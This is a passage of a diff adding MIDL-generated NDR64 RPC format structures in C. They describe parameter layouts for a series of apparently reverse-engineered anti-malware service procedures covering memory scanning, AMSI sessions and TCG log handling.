0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1007_t __midl_frag1007 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1006_t __midl_frag1006 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1007 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1005_t __midl_frag1005 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1006 +}; + +static const __midl_frag1003_t __midl_frag1003 = +{ +/* Proc103_ServerMpRpcTcgLogApplyExtResult */ + { + /* Proc103_ServerMpRpcTcgLogApplyExtResult */ /* procedure Proc103_ServerMpRpcTcgLogApplyExtResult */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1005, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag998_t __midl_frag998 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag997_t __midl_frag997 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag998 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag996_t __midl_frag996 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag997 +}; + +static const __midl_frag995_t __midl_frag995 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag996 +}; + +static const __midl_frag985_t __midl_frag985 = +{ +/* Proc102_ServerMpRpcTcgLogScan */ + { + /* Proc102_ServerMpRpcTcgLogScan */ /* procedure Proc102_ServerMpRpcTcgLogScan */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1005, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag995, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag980_t __midl_frag980 = +{ +/* Proc101_ServerMpRpcAmsiCloseSession */ + { + /* Proc101_ServerMpRpcAmsiCloseSession */ /* procedure Proc101_ServerMpRpcAmsiCloseSession */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag976_t __midl_frag976 = +{ +/* *Struct_2558_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag952 +}; + +static const __midl_frag975_t __midl_frag975 = +{ +/* Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + { + /* Proc100_ServerMpRpcFastMemoryScanCacheInfo */ /* procedure Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 128 /* 0x80 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag952, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag969_t __midl_frag969 = +{ +/* Proc99_ServerMpRpcFastMemoryScanClose */ + { + /* Proc99_ServerMpRpcFastMemoryScanClose */ /* procedure Proc99_ServerMpRpcFastMemoryScanClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1156, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag965_t __midl_frag965 = +{ +/* *Struct_110_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag60 +}; + +static const __midl_frag964_t __midl_frag964 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag963_t __midl_frag963 = +{ +/* union_2142 */ + { + /* union_2142 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag964, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 7 /* 0x7 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag895, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag897, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag905, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag909, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag911, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag916, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag921, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag962_t __midl_frag962 = +{ +/* Struct_2442_t */ + { + /* Struct_2442_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2442_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag963 + }, + { + /* Struct_2442_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag961_t __midl_frag961 = +{ +/* *Struct_2442_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag962 +}; + +static const __midl_frag958_t __midl_frag958 = +{ +/* Proc98_ServerMpRpcFastMemoryScan */ + { + /* Proc98_ServerMpRpcFastMemoryScan */ /* procedure Proc98_ServerMpRpcFastMemoryScan */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 84 /* 0x54 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag962, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag60, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag952_t __midl_frag952 = +{ +/* Struct_2558_t */ + { + /* Struct_2558_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2558_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag950_t __midl_frag950 = +{ +/* *Struct_126_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag121 +}; + +static const __midl_frag949_t __midl_frag949 = +{ +/* Proc97_ServerMpRpcFastMemoryScanOpen */ + { + /* Proc97_ServerMpRpcFastMemoryScanOpen */ /* procedure Proc97_ServerMpRpcFastMemoryScanOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 188 /* 0xbc */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag121, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag952, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag939_t __midl_frag939 = +{ +/* *Struct_970_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag52 +}; + +static const __midl_frag938_t __midl_frag938 = +{ +/* **Struct_970_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag939 +}; + +static const __midl_frag936_t __midl_frag936 = +{ +/* Proc95_ServerMpRpcMemoryScanQueryNotification */ + { + /* Proc95_ServerMpRpcMemoryScanQueryNotification */ /* procedure Proc95_ServerMpRpcMemoryScanQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* 